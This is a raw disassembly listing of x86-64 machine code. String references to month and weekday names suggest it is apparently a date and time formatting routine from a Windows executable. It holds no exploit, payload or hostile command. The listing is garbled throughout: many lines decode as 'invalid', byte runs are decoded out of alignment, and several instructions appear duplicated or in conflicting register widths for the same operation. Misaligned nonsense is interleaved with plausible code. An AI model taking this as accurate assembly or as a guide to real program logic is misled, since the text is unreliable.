or dword [rax + 1], 0x49e0ffc8
enter 0xffffffffffffe0ff, 0x49
add r8, rdx
add eax, edx
lea rcx, [rbp + 0x1c0]
call fcn.140004b33
invalid
jmp 0x14014aa56
adc al, 0
invalid
invalid
lea eax, [r14 - 4]
lea eax, [rsi - 4]
movzx eax, al
cmp al, 0x13
push 0x13
adc ebx, dword [rcx + 0xf]
ror dword [r15], 0xb6
ror dword [rdi], 0xb6
sar byte [rbx + rdx], 0xf
xchg ecx, edx
rol dword [rsi], 1
add byte [rax], al
adc ebx, dword [rcx + 0xf]
ror dword [r15], 0xb6
ror dword [rdi], 0xb6
ror dword [rdi], 0xb6
sar byte [rbx + rdx], 0xf
xchg ecx, edx
rol dword [rsi], 1
lea rdx, [0x14028c630]
movsxd rcx, dword [rdx + rax*4]
invalid
or al, 0x82
add rcx, rdx
jmp rcx
invalid
cmp dword [rbp + 0x1dc], 0
je case.0x1401495b8.11
invalid
add byte [rax], al
invalid
mov ecx, dword [rbp + 0x1dc]
call fcn.14014b133
mov ecx, eax
rol dword [rbx - 0x78f0f408], 0xa3
sbb dword [rax], eax
invalid
add dword [rax], eax
add al, ch
invalid
shl rcx, 4
lea rax, str.JanFebMarAprJunJulAugSepOctNovDec
push rdx
adc byte [rax], al
mov rdx, qword [rcx + rax]
lea r8, [rdx + 3]
lea rcx, [rbp + 0x1c0]
call fcn.140004b33
jmp 0x14014aa56
movzx eax, r14b
lea rcx, [0x14028c6b0]
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
add rax, rcx
jmp rax
cmp dword [rbp + 0x1dc], 0
je case.0x140148b47.6
invalid
sbb byte [rax], al
invalid
add byte [rdi], cl
test byte [rdi + 0x48000018], cl
invalid
sbb byte [rax], al
add byte [rax - 0x73], cl
invalid
rol byte [rcx], 0
invalid
invalid
lea rcx, [rbp + 0x1c0]
mov rdx, qword [rbp + 0x30]
mov r8d, esi
call fcn.14014b1f1
jmp 0x14014aa4e
movabs rax, 0x8000000000000000
cmp qword [rbp + 0x98], rax
test dword [rax + 0xf000000], ebx
test byte [rax + 0x18], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x677ac6b8], al
invalid
cwde
add byte [rax], al
add byte [rax], al
or byte [rax + 0x39], 0x85
invalid
cwde
test dword [rax + 0xf000000], ebx
add byte [rax], al
add byte [rdi], cl
test byte [rax + 0x18], ah
add byte [rax], al
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1a8], rax
test dword [rax + 0x48000001], ebp
lea eax, [0x140289c40]
add eax, 0x1405dd
test dword [rax + 0x48000001], ebp
lea eax, [0x140289c40]
add eax, 0x1405dd
add eax, 0x1405dd
add byte [rax - 0x77], cl
test dword [rax + 1], eax
add byte [rax], al
mov qword [rbp + 0x140], rax
push 1
pop rcx
mov qword [rbp + 0x148], rcx
mov dword [rbp + 0x148], ecx
add dword [rcx + 0x48], ebx
mov dword [rbp + 0x148], ecx
lea ecx, [rax + 1]
add byte [rax], al
and qword [rbp + 0x160], 0
add byte [rax], al
lea rax, [rbp + 0x1a8]
lea eax, [rbp + 0x1a8]
add byte [rax - 0x77], cl
test dword [rax], edx
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0x6e889
invalid
invalid
mov qword [rbp + 0x110], rax
lea rax, [0x1401b7f1a]
invalid
invalid
invalid
mov qword [rbp + 0x118], rax
mov dword [rbp + 0x118], eax
lea rax, [rbp + 0x110]
mov qword [rbp + 0x150], rax
test dword [rax + 1], edx
add byte [rax], al
test dword [rax], edx
add dword [rax], eax
add byte [rax - 0x77], cl
test dword [rax + 1], edx
add byte [rax], al
mov qword [rbp + 0x158], rcx
mov dword [rbp + 0x158], ecx
pop rax
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
lea rcx, [rbp + 0x1c0]
add byte [rax], al
lea rdx, [rbp + 0x140]
add byte [rax], al
call fcn.140004f43
jmp 0x14014aa4e
add byte [rax], al
cmp dword [rax - 0x76160015], 0x13
jmp 0x1401496bf
invalid
add byte [rax], al
cmp dword [rbp + 0x1dc], 0
je case.0x1401495b8.11
invalid
invalid
invalid
add byte [rax], al
add byte [rbx + 0x1dc8d], cl
add al, ch
test eax, 0xfffeda5
mov dh, 0xc0
mov ecx, dword [rbp + 0x1dc]
call fcn.140023c86
movzx eax, al
lea ecx, [rax + 7]
cmp al, 6
cmovae ecx, eax
add ecx, 0xfffffffa
enter 0xffffffffffffc183, 0xfffffffffffffffa
cmp ecx, 6
ja 0x14014af5e
invalid
add byte [rax - 0x3f], cl
loope case.0x140148b47.12
shl rcx, 4
lea rax, str.SunMonTueWedThuFriSat
push rdx
adc byte [rax], al
mov rdx, qword [rcx + rax]
lea r8, [rdx + 3]
add ecx, dword [rax - 0x73]
invalid
rol byte [rcx], 0
invalid
add ecx, dword [rax - 0x73]
invalid
call fcn.140004b33
mov ah, 0xeb
invalid
jmp 0x14014aa56
cmp dword [rbp + 0x1bc], 1
jne case.0x1401495b8.11
push rsi
invalid
add byte [rax], al
push rsi
add eax, 0x8d480000
invalid
lea rcx, [rbp + 0x1c0]
mov rdx, qword [rbp + 0x40]
push rbp
mov r8, qword [rbp + 0x48]
push rbp
mov r8, qword [rbp + 0x48]
call fcn.140004b33
mov bl, 0xeb
invalid
jmp 0x14014aa56
adc eax, dword [rax]
add byte [rbx + 0x1bcbd], al
cmp dword [rbp + 0x1bc], 1
add byte [rax], al
cmp dword [rbp + 0x1bc], 1
jne case.0x1401495b8.11
movzx ecx, r14b
mov dh, 0xce
lea rdx, [0x14028c680]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
mov eax, dword [rbp + 0xdc]
test esp, ebx
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + 0xe085], cl
add byte [rax - 0x73], cl
lea eax, [rbp + 0xe0]
mov qword [rbp + 0x1a8], rax
test al, 1
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xffedfab0
mov dword [rbp + 0xe0], eax
lea rax, [rbp + 0xe0]
lea eax, [rbp + 0xe0]
mov qword [rbp + 0x1a8], rax
test al, 1
add byte [rax], al
invalid
test al, 1
add byte [rax], al
invalid
add byte [rax - 0x73], cl
add eax, 0xffedfab0
lea rax, [0x140029230]
mov qword [rbp + 0x1b0], rax
mov qword [rbp + 0x140], 2
test dword [rax + 1], eax
add byte [rax], al
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax + 1], eax
add byte [rax], al
add al, byte [rax]
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x7d], cl
and dword [rbp + 0x150], 0
add byte [rax], al
and qword [rbp + 0x150], 0
mov qword [rbp + 0x158], 3
add eax, dword [rax]
add byte [rax], al
and qword [rbp + 0x160], 0
and dword [rbp + 0x160], 0
movabs rax, 0x800000020
or byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
add byte [rax], al
mov qword [rbp + 0x168], rax
test dword [rax + 1], ebp
add byte [rax], al
mov byte [rbp + 0x170], 3
lea rax, [0x140289c40]
mov qword [rbp + 0x110], rax
mov dword [rbp + 0x110], eax
push 1
pop rcx
mov qword [rbp + 0x118], rcx
add dword [rax], eax
invalid
lea rax, [rbp + 0x140]
mov qword [rbp + 0x130], rax
mov qword [rbp + 0x138], rcx
lea rax, [rbp + 0x1a8]
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rcx
mov dword [rbp + 0x128], ecx
mov dword [rbp + 0x128], ecx
sub byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
invalid
invalid
lea rcx, [rbp + 0x1c0]
add byte [rax], al
add byte [rax - 0x73], cl
xchg ebp, eax
adc byte [rcx], al
add byte [rax], al
lea rdx, [rbp + 0x110]
call fcn.140004f43
jmp 0x14014aa4e
invalid
cmp dword [rbp + 0x1dc], 0
je case.0x1401495b8.11
add al, 0
invalid
add al, 0
add byte [rbx + 0x1dc8d], cl
mov ecx, dword [rbp + 0x1dc]
call fcn.14014b133
cld
sbb byte [rax], al
invalid
invalid
add al, ch
cld
sbb byte [rax], al
add byte [rcx + 0xbf883c1], cl
clc
invalid
add byte [rax], al
mov ecx, eax
cmp eax, 0xb
clc
invalid
ja 0x14014af91
add byte [rax], al
shl rcx, 4
lea rax, str.JanuaryFebruaryMarchAprilMayJuneJulyAugustSeptemberOctoberNovemberDecember
adc byte [r8], r8b
mov rdx, qword [rcx + rax]
mov edx, dword [rcx + rax]
mov edx, dword [rcx + rax]
adc al, 1
mov r8, qword [rcx + rax + 8]
add r8, rdx
lea rcx, [rbp + 0x1c0]
add dword [rax], eax
add al, ch
invalid
mov dl, 0xeb
jmp 0x140149864
ror byte [rax - 0x73], 1
invalid
add dword [rax], eax
add al, ch
invalid
jmp 0x14014aa56
adc dword [rax], eax
add byte [rbx + 0x1bcbd], al
cmp dword [rbp + 0x1bc], 1
cmp dword [rbp + 0x1bc], 1
jne case.0x1401495b8.11
mov rax, qword [rbp + 0xb0]
mov dword [rbp + 0x50], eax
push r8
push r8
test eax, eax
je 0x14014aa56
test ch, cl
adc dword [rax], eax
add byte [rax], al
test ch, cl
adc dword [rax], eax
add byte [rax], al
invalid
invalid
invalid
int 0x11
add byte [rax], al
lea rcx, [rbp + 0x1c0]
lea rdx, [0x1402887a0]
adc eax, dword [rax]
lea r8, [0x1402887a1]
call fcn.140004b33
nop
mov dl, 0xeb
jmp case.0x140100db5.259
cmp dword [rbp + 0x7c], 0
je 0x14014a8a7
add byte [rax], al
invalid
nop
mov dl, 0xeb
invalid
jmp case.0x140100db5.259
inc dword [rbx + 0xf007c7d]
test dl, bh
sldt word [rax]
add byte [rax], al
invalid
add byte [rbx + 0x84bd], al
add byte [rax], al
cmp dword [rbp + 0x84], 0
je 0x14014aa67
add byte [rax - 0x73], cl
push r8
lea rax, [rbp + 0x50]
mov qword [rbp + 0x1a8], rax
add byte [rax], al
lea rax, [0x140029230]
mov qword [rbp + 0x1b0], rax
mov al, 1
add byte [rax], al
dec dword [rax - 0x77]
test dword [rax + 0x48000001], esi
mov al, 1
add byte [rax], al
invalid
mov qword [rbp + 0x140], 2
mov dword [rbp + 0x140], 2
test dword [rax + 1], eax
add byte [rax], al
add al, byte [rax]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x7d], cl
movsd dword [rdi], dword [rsi]
push rax
add dword [rax], eax
add byte [rax], al
and qword [rbp + 0x150], 0
mov qword [rbp + 0x158], 9
add byte [rax], al
and qword [rbp + 0x160], 0
movabs rax, 0x800000020
and byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
movsd dword [rdi], dword [rsi]
invalid
and byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax - 0x77], cl
test dword [rax + 1], ebp
add dword [rax], eax
invalid
mov qword [rbp + 0x168], rax
add dword [rax], eax
add dh, al
mov byte [rbp + 0x170], 3
lea rax, [0x140289c40]
mov byte [rbp + 0x170], 3
add dword [rax], eax
add byte [rbx], al
lea rax, [0x140289c40]
mov qword [rbp + 0x110], rax
push 1
pop rcx
mov qword [rbp + 0x118], rcx
mov dword [rbp + 0x118], ecx
mov dword [rbp + 0x118], ecx
sbb byte [rcx], al
add byte [rax], al
lea rax, [rbp + 0x140]
mov qword [rbp + 0x130], rax
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0x138], rcx
lea rax, [rbp + 0x1a8]
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0x120], rax
test dword [rax], esp
add dword [rax], eax
add byte [rax - 0x77], cl
mov qword [rbp + 0x128], rcx
invalid
invalid
invalid
mov qword [rbp + 0x128], rcx
sub byte [rcx], al
add byte [rax], al
lea rcx, [rbp + 0x1c0]
lea rdx, [rbp + 0x110]
lea edx, [rbp + 0x110]
lea edx, [rbp + 0x110]
adc byte [rcx], al
add byte [rax], al
call fcn.140004f43
jmp 0x14014aa4e
jrcxz 0x140149979
add byte [rax], al
jrcxz 0x140149979
add byte [rax], al
cmp dword [rbp + 0x1bc], 1
jne case.0x1401495b8.11
test dword [rbx], eax
add eax, dword [rax]
invalid
add byte [rax], al
add dword [rdi], ecx
test dword [rbx], eax
add eax, dword [rax]
add byte [rax - 0x73], cl
invalid
add eax, dword [rbx]
add byte [rax], al
lea rcx, [rbp + 0x1c0]
lea ecx, [rbp + 0x1c0]
lea rdx, [0x1402887a0]
lea r8, [0x1402887a1]
call fcn.140004b33
mov eax, dword [rbp + 0xdc]
add byte [rax], al
invalid
add byte [rcx + 0xe085], cl
mov dword [rbp + 0xe0], eax
lea rax, [rbp + 0xe0]
test eax, esp
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
test eax, esp
add byte [rax], al
add byte [rax - 0x77], cl
test dword [rax + 0x48000001], ebp
add byte [rax], al
mov qword [rbp + 0x1a8], rax
lea rax, [0x140029230]
lea eax, [0x140029230]
lea eax, [0x140029230]
clc
in eax, dx
dec dword [rax - 0x77]
test dword [rax + 0x48000001], esi
mov dword [rbp + 0x140], 2
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0x1b0], rax
mov qword [rbp + 0x140], 2
add byte [rax], al
add byte [rax], al
add byte [rax], al
and qword [rbp + 0x150], 0
and dword [rbp + 0x150], 0
movsd dword [rdi], dword [rsi]
push rax
add dword [rax], eax
add byte [rax], al
mov qword [rbp + 0x158], 3
and qword [rbp + 0x160], 0
add byte [rax], al
add byte [rax], al
movabs rax, 0x800000020
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
test dword [rax + 1], ebp
invalid
invalid
mov qword [rbp + 0x168], rax
mov dword [rbp + 0x168], eax
push 0xffffffffc6000001
test dword [rax + 1], esi
jo 0x1401499f6
add byte [rax], al
mov byte [rbp + 0x170], 3
jo 0x1401499f6
add byte [rax], al
add ecx, dword [rax - 0x73]
add eax, 0x140241
add byte [rbx], al
lea rax, [0x140289c40]
mov qword [rbp + 0x110], rax
adc byte [rcx], al
add byte [rax], al
push 1
pop rcx
mov qword [rbp + 0x118], rcx
lea rax, [rbp + 0x140]
lea eax, [rbp + 0x140]
lea eax, [rbp + 0x140]
add dword [rax], eax
add byte [rax - 0x77], cl
mov qword [rbp + 0x130], rax
mov qword [rbp + 0x138], rcx
lea rax, [rbp + 0x1a8]
add dword [rax], eax
invalid
invalid
mov qword [rbp + 0x130], rax
xor byte [rcx], al
add byte [rax], al
mov qword [rbp + 0x138], rcx
lea rax, [rbp + 0x1a8]
add dword [rax], eax
add byte [rax - 0x77], cl
mov dword [rbp + 0x120], eax
add dword [rax], eax
add byte [rax - 0x77], cl
mov dword [rbp + 0x120], eax
mov qword [rbp + 0x128], rcx
invalid
invalid
invalid
mov dword [rbp + 0x120], eax
mov qword [rbp + 0x128], rcx
sub byte [rcx], al
add byte [rax], al
lea rcx, [rbp + 0x1c0]
lea ecx, [rbp + 0x1c0]
lea rdx, [rbp + 0x110]
xchg ebp, eax
adc byte [rcx], al
add byte [rax], al
call fcn.140004f43
jmp 0x14014aa4e
invalid
mov ah, 0xeb
invalid
add byte [rbx + 0x1dcbd], al
add byte [rax], al
cmp dword [rbp + 0x1dc], 0
je case.0x1401495b8.11
test byte [rdx + rax], bl
add byte [rax], al
mov ecx, dword [rbp + 0x1dc]
call fcn.140023c86
invalid
in eax, dx
dec dword [rdi]
mov dh, 0xc0
invalid
movabs byte [0x7488dc0b60fffed], al
dec dword [rdi]
mov dh, 0xc0
invalid
ror byte [rbp + 0x63c0748], 0xf
enter 0xffffffffffffc183, 0xfffffffffffffffa
lea ecx, [rax + 7]
invalid
cmp al, 6
cmovae ecx, eax
add ecx, 0xfffffffa
cmp ecx, 6
ja 0x14014af6f
out dx, al
adc al, 0
invalid
adc al, 0
add byte [rax - 0x3f], cl
loope 0x140149a89
shl rcx, 4
lea rax, str.SundayMondayTuesdayWednesdayThursdayFridaySaturday
invalid
adc byte [rax], r8b
add byte [rax - 0x75], cl
adc al, 1
invalid
mov rdx, qword [rcx + rax]
mov edx, dword [rcx + rax]
mov r8, qword [rcx + rax + 8]
add r8, rdx
add eax, edx
lea rcx, [rbp + 0x1c0]
call fcn.140004b33
jmp 0x14014aa56
invalid
cmp dword [rbp + 0x1bc], 1
add dword [rax], eax
add byte [rcx], al
jne case.0x1401495b8.11
and qword [rbp + 0x140], 0
movsd dword [rdi], dword [rsi]
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x7d], cl
movsd dword [rdi], dword [rsi]
push 1
add byte [rax], al
and qword [rbp + 0x168], 0
add byte [rax], al
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x190], rax
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x198], rax
lea rcx, [rbp + 0x140]
call fcn.14014b143
invalid
add byte [rax], al
cmp eax, 0x110000
add byte [rcx], dl
invalid
invalid
add byte [rcx], dl
add byte [rbp + 0x34], dh
adc dword [rax], eax
jne 0x140149b23
cmp qword [rbp + 0x190], 0
je 0x140149b0c
add byte [rax], al
add byte [rbx + rdx + 0x48], dh
lea ecx, [rbp + 0x190]
add dword [rax], eax
invalid
lea rcx, [rbp + 0x190]
add dword [rax], eax
add al, ch
push 0x3dfffee4
in al, 0xfe
invalid
cmp eax, 0x110000
call fcn.140137f6d
cmp eax, 0x110000
in al, 0xfe
invalid
jne 0x140149b33
lea rcx, [rbp + 0x168]
lea ebp, [rax + 1]
add byte [rax], al
push 0xffffffffe8000001
sub edx, dword [rsi]
add byte [rax], al
call fcn.14014b143
cmp eax, 0x110000
adc dword [rax], eax
je 0x14014aa56
lea rcx, [rbp + 0x1c0]
invalid
add dword [rax], eax
add byte [rcx - 0x2488173e], cl
mov edx, eax
invalid
ja 0x140149b0a
invalid
mov edx, eax
call fcn.1401376a8
invalid
invalid
jmp case.0x140148f55.421
invalid
lea rcx, [rbp + 0x20]
mov edx, eax
call fcn.14002fed0
cmp dword [rbp + 0x24], 1
jge 0x140149b65
add dword [rdx + 2], ebp
and byte [r9 + 0x6392e8c2], r9b
out dx, al
inc dword [rbx + 0x6a01247d]
jge 0x140149b65
add dword [rdx + 2], ebp
pop rax
sbb rax, 0
jge 0x140149b65
add dword [rdx + 2], ebp
pop rax
sbb rax, 0
mov ecx, dword [rbp + 0x28]
test ecx, ecx
push 3
pop rdx
cmovne rax, rdx
cmovne eax, edx
cmovne eax, edx
lea rdx, [rbp + 0x143]
mov dword [rdx + 0x1d], ecx
mov rcx, qword [rbp + 0x20]
mov ecx, dword [rbp + 0x20]
xchg ebp, eax
add dword [r8], eax
add byte [rcx - 0x74b7e2b6], cl
mov rcx, qword [rbp + 0x20]
mov ecx, dword [rbp + 0x20]
invalid
invalid
mov ecx, dword [rbp + 0x20]
mov qword [rdx + 0x15], rcx
mov qword [rbp + 0x140], 1
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x7d], cl
movsd dword [rdi], dword [rsi]
add qword [rax], rax
add byte [rax], al
adc rax, 0x4085c748
add dword [rax], eax
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x7d], cl
movsd dword [rdi], dword [rsi]
add qword [rax], rax
add byte [rax], al
mov qword [rbp + 0x150], rax
jmp case.0x140148f55.421
invalid
invalid
invalid
add cl, ch
push rsi
invalid
cmp dword [rbp + 0x1bc], 1
mov esp, 0x1000001
jne case.0x1401495b8.11
lea rcx, [rbp + 0x1c0]
lea rdx, [0x1402887a0]
lea r8, [0x1402887a1]
lea eax, [0x1402887a1]
lea eax, [0x1402887a1]
call fcn.140004b33
mov rax, qword [rbp + 0xb0]
mov al, 0
add byte [rax], al
mov al, 0
add byte [rax], al
mov dword [rbp + 0xe0], eax
lea rax, [rbp + 0xe0]
lea eax, [rbp + 0xe0]
lea eax, [rbp + 0xe0]
mov qword [rbp + 0x1a8], rax
lea rax, [0x140029230]
test dword [rax + 0x48000001], ebp
lea eax, [0x140029230]
mov qword [rbp + 0x1b0], rax
mov dword [rbp + 0x1b0], eax
mov qword [rbp + 0x140], 2
and qword [rbp + 0x150], 0
movsd dword [rdi], dword [rsi]
push rax
add dword [rax], eax
add byte [rax], al
movsd dword [rdi], dword [rsi]
push rax
add dword [rax], eax
add byte [rax], al
mov qword [rbp + 0x158], 9
test dword [rax + 1], ebx
add byte [rax], al
or dword [rax], eax
add byte [rax], al
and qword [rbp + 0x160], 0
movabs rax, 0x800000020
add byte [rax], al
or byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
or byte [rax], al
add byte [rax], al
invalid
mov qword [rbp + 0x168], rax
mov byte [rbp + 0x170], 3
jo 0x140149c12
add byte [rax], al
invalid
jo 0x140149c12
add byte [rax], al
add byte [rbx], al
add ecx, dword [rax - 0x73]
add eax, 0x140025
lea rax, [0x140289c40]
mov qword [rbp + 0x110], rax
push 1
pop rcx
mov qword [rbp + 0x118], rcx
add byte [rax], al
add byte [rax - 0x73], cl
test dword [rax + 1], eax
add byte [rax], al
invalid
add byte [rax - 0x77], cl
test dword [rax], esi
add dword [rax], eax
add byte [rax - 0x77], cl
lea edi, [rax]
add dword [rax], eax
add byte [rax - 0x73], cl
test dword [rax + 0x48000001], ebp
add dword [rax], eax
add byte [rax - 0x77], cl
test dword [rax], esp
add dword [rax], eax
invalid
mov qword [rbp + 0x130], rax
mov qword [rbp + 0x138], rcx
lea rax, [rbp + 0x1a8]
add dword [rax], eax
add byte [rax - 0x77], cl
test dword [rax], esp
add dword [rax], eax
invalid
mov qword [rbp + 0x128], rcx
sub byte [rcx], al
add byte [rax], al
lea rcx, [rbp + 0x1c0]
lea rdx, [rbp + 0x110]
xchg ebp, eax
adc byte [rcx], al
add byte [rax], al
invalid
xchg ebp, eax
adc byte [rcx], al
add byte [rax], al
invalid
add al, ch
fidiv dword [rdx - 0x1f160015]
or eax, 0xbd830000
cmp dword [rbp + 0x1bc], 1
call fcn.140004f43
jmp 0x14014aa4e
cmp dword [rbp + 0x1bc], 1
add dword [rax], eax
add byte [rcx], al
je 0x14014a1db
movabs rcx, 0x8000000000000000
cmp qword [rbp + 0x98], rcx
je case.0x140148b47.6
test byte [rdi], bl
adc al, byte [rax]
invalid
add eax, 0xfffffff5
cmp eax, 7
ja case.0x140148b47.6
lea rcx, [0x14028c690]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov ecx, r14d
int1
mov dl, 0x12
call fcn.14014b16a
mov byte [rbp + 0x143], 1
add dword [rsi - 0x39], esp
test dword [rcx + 1], eax
add byte [rax], al
add dword [rcx], eax
mov byte [rbp + 0x140], al
add byte [rax], al
lea rcx, [rbp + 0x140]
lea eax, [rax + 1]
add byte [rax], al
lea rdx, [rbp + 0x1c0]
add dword [rax], eax
add byte [rbx + rcx*4 - 0x7b], cl
mov eax, dword [rbp + 0xd0]
add dword [rax], eax
add byte [rbx + rcx*4 - 0x7b], cl
mov eax, dword [rbp + 0xd0]
mov eax, dword [rbp + 0xd0]
call fcn.140023d22
jmp 0x14014aa4e
invalid
mov ecx, r14d
mov dl, 0x14
call fcn.14014b16a
add byte [rax], al
mov byte [rbp + 0x143], 1
mov word [rbp + 0x141], 0x102
add byte [rax], al
add al, byte [rcx]
mov byte [rbp + 0x140], al
lea rcx, [rbp + 0x140]
lea rdx, [rbp + 0x1c0]
mov r8, qword [rbp + 0xd0]
mov eax, dword [rbp + 0xd0]
mov eax, dword [rbp + 0xd0]
call fcn.140023d22
jmp 0x14014aa4e
mov dword [rbp + 0x140], 0x2010100
add byte [rax], al
add byte [rcx], al
add dword [rcx], eax
invalid
lea rcx, [rbp + 0x140]
lea rdx, [rbp + 0x1c0]
mov r8, qword [rbp + 0xd0]
mov eax, dword [rbp + 0xd0]
mov eax, dword [rbp + 0xd0]
call fcn.140023d22
jmp 0x14014aa4e
cmp byte [rbp + 0x10d], 0
jne case.0x140148b47.6
add byte [rax], al
add byte [rdi], cl
test dword [rdi + 0x11], ecx
add byte [rax], al
mov rdx, qword [rbp + 0x30]
mov dword [rbp + 0x64], edx
lea rcx, [0x14024e640]
call case.0x14000bc89.1212
test al, al
je 0x14014a2b5
lea rcx, [rbp + 0x1c0]
mov edx, dword [rbp + 0xc4]
call fcn.140023efe
test al, al
jne case.0x140148b47.6
lea rcx, [rbp + 0x1c0]
add byte [rax], al
mov rdx, qword [rbp + 0x38]
call fcn.140023efe
jmp 0x14014a361
mov dword [rbp + 0x140], 0x10000
lea rcx, [rbp + 0x140]
lea rdx, [rbp + 0x1c0]
mov r8, qword [rbp + 0xd0]
mov eax, dword [rbp + 0xd0]
mov eax, dword [rbp + 0xd0]
call fcn.140023d22
jmp 0x14014aa4e
jns 0x140149ddf
add byte [rax], al
jns 0x140149ddf
add byte [rax], al
cmp byte [rbp + 0x10e], 0
jne case.0x140148b47.6
adc byte [rax], al
add byte [rbx + 0x1dc8d], cl
add al, ch
cdq
sahf
in eax, dx
dec dword [rdi]
movzx eax, al
mov ecx, dword [rbp + 0x1dc]
call fcn.140023c86
movzx eax, al
lea ecx, [rax + 7]
cmp al, 6
cmovae ecx, eax
add ecx, 0xfffffffa
cmp ecx, 7
jae 0x14014af36
shl rcx, 4
lea rax, str.SunMonTueWedThuFriSat
mov rdx, qword [rcx + rax]
lea r8, [rdx + 3]
lea eax, [rdx + 3]
lea rcx, [rbp + 0x1c0]
call fcn.1400232cf
lodsb al, byte [rsi]
xchg esp, eax
in eax, dx
dec dword [rax - 0x73]
invalid
rol byte [rcx], 0
add byte [rax - 0x73], cl
adc eax, 0x112d60
lea r8, [0x14025cb93]
call fcn.1400232cf
in eax, dx
invalid
lodsb al, byte [rsi]
xchg esp, eax
in eax, dx
dec dword [rax - 0x73]
invalid
mov ecx, dword [rbp + 0x1dc]
call fcn.140023ca1
shr eax, 4
and eax, 0x1f
cmp eax, 0xa
jae 0x14014a51f
or eax, 0x30
lea rcx, [rbp + 0x1c0]
mov edx, eax
call fcn.14002356b
add edx, dword [rdi - 0x37160013]
invalid
add byte [rax], al
xor byte [rax - 0x73], cl
invalid
add edx, dword [rdi - 0x37160013]
invalid
mov ch, 0xa0
in eax, dx
invalid
add byte [rbx + 0x1bcbd], al
add byte [rcx], al
jne case.0x140148b47.6
lea rcx, [rbp + 0x1c0]
mov edx, dword [rbp + 0xc8]
mov r8d, esi
mov eax, esi
call fcn.140023f44
jmp 0x14014aa56
add byte [rax], al
add byte [rdi], cl
test cl, ch
sldt word [rax]
mov ecx, dword [rbp + 0x1dc]
call fcn.140023c86
lea ecx, [rax + 7]
cmp al, 6
movzx eax, al
movzx edx, cl
cmovae edx, eax
add dl, 0xfa
lea rcx, [rbp + 0x1c0]
call fcn.140023f94
invalid
jmp 0x14014aa56
invalid
cmp dword [rbp + 0x1dc], 0
je case.0x140148b47.6
sldt word [rax]
sldt word [rax]
mov ecx, dword [rbp + 0x1dc]
call fcn.14014b266
add byte [rax], al
sar eax, 0xa
cdq
push 0x64
pop rcx
idiv ecx
sar edx, 0x1f
add edx, eax
lea rcx, [rbp + 0x1c0]
mov r8d, esi
call fcn.140023f44
jmp 0x14014aa56
invalid
or eax, dword [rax]
invalid
invalid
test byte [rbp + 0xf], dh
add byte [rax], al
mov ecx, dword [rbp + 0x1dc]
call fcn.140023c86
lea edx, [rax + 1]
lea rcx, [rbp + 0x1c0]
add dword [rax], eax
add al, ch
invalid
invalid
in eax, dx
invalid
jmp 0x14014aa56
cmp dword [rbp + 0x1dc], 0
je case.0x140148b47.6
mov ecx, dword [rbp + 0x1dc]
xor edx, edx
call fcn.140023ce4
outsd dx, dword [rsi]
popfq
in eax, dx
dec dword [rax - 0x73]
invalid
rol byte [rcx], 0
add byte [rcx - 0xf76be3e], cl
mov eax, esi
mov eax, esi
call fcn.140023f44
jmp 0x14014aa56
cmp dword [rbp + 0x1dc], 0
je case.0x140148b47.6
add byte [rax], al
add byte [rax], al
lea rcx, [rbp + 0x1c0]
mov edx, dword [rbp + 0x6c]
insb byte [rdi], dx
mov r8d, esi
mov eax, esi
mov eax, esi
call fcn.140023f44
jmp 0x14014aa56
add byte [rax], al
lea rcx, [rbp + 0x1c0]
mov edx, dword [rbp + 0x68]
mov r8d, esi
call fcn.140023f44
jmp 0x14014aa56
cmp dword [rbp + 0x1dc], 0
je case.0x140148b47.6
mov ebp, 0x1dc
add byte [rdi], cl
test cl, dl
invalid
mov ecx, dword [rbp + 0x1dc]
call fcn.14014b266
sar eax, 0xa
lea rcx, [rbp + 0x1c0]
mov edx, eax
mov r8d, esi
call fcn.14014b1f1
add byte [rax], al
jmp 0x14014aa4e
add byte [rax], al
invalid
add byte [rax], al
cmp dword [rbp + 0x1dc], 0
je case.0x140148b47.6
invalid
add byte [rax], al
mov ecx, dword [rbp + 0x1dc]
call fcn.14014b1dd
lea rcx, [rbp + 0x1c0]
add byte [rax], al
add byte [rax], al
mov edx, eax
mov r8d, esi
mov eax, esi
mov eax, esi
call fcn.140023f44
jmp 0x14014aa56
and al, 0xa
add byte [rax], al
cmp dword [rbp + 0x1dc], 0
je case.0x140148b47.6
add byte [rax], al
lea rcx, [rbp + 0x1c0]
mov edx, dword [rbp + 0x70]
mov r8d, esi
call fcn.140023f44
sahf
in eax, dx
invalid
jmp 0x14014aa56
sahf
sahf
in eax, dx
invalid
add byte [rbx + 0x1dcbd], al
add byte [rax], al
cmp dword [rbp + 0x1dc], 0
je case.0x140148b47.6
mov ecx, dword [rbp + 0x1dc]
call fcn.14014b266
add dword [rax], eax
add al, ch
rcl dword [rcx]
add byte [rax], al
sar eax, 0xa
cdq
push 0x64
pop rcx
idiv ecx
lea eax, [rdx + 0x64]
test edx, edx
movzx eax, al
cmovs edx, eax
lea rcx, [rbp + 0x1c0]
rol byte [rcx], 0
add byte [rcx - 0x77], al
invalid
call fcn.140023f44
